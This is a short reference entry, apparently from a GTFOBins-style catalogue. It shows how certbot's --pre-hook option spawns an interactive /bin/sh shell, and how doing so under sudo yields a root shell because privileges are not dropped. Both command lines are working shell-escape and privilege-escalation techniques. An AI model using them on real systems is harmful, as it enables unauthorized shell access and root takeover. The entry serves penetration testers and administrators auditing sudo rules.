This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir . --work-dir . --config-dir . --pre-hook '/bin/sh 1>&0 2>&0'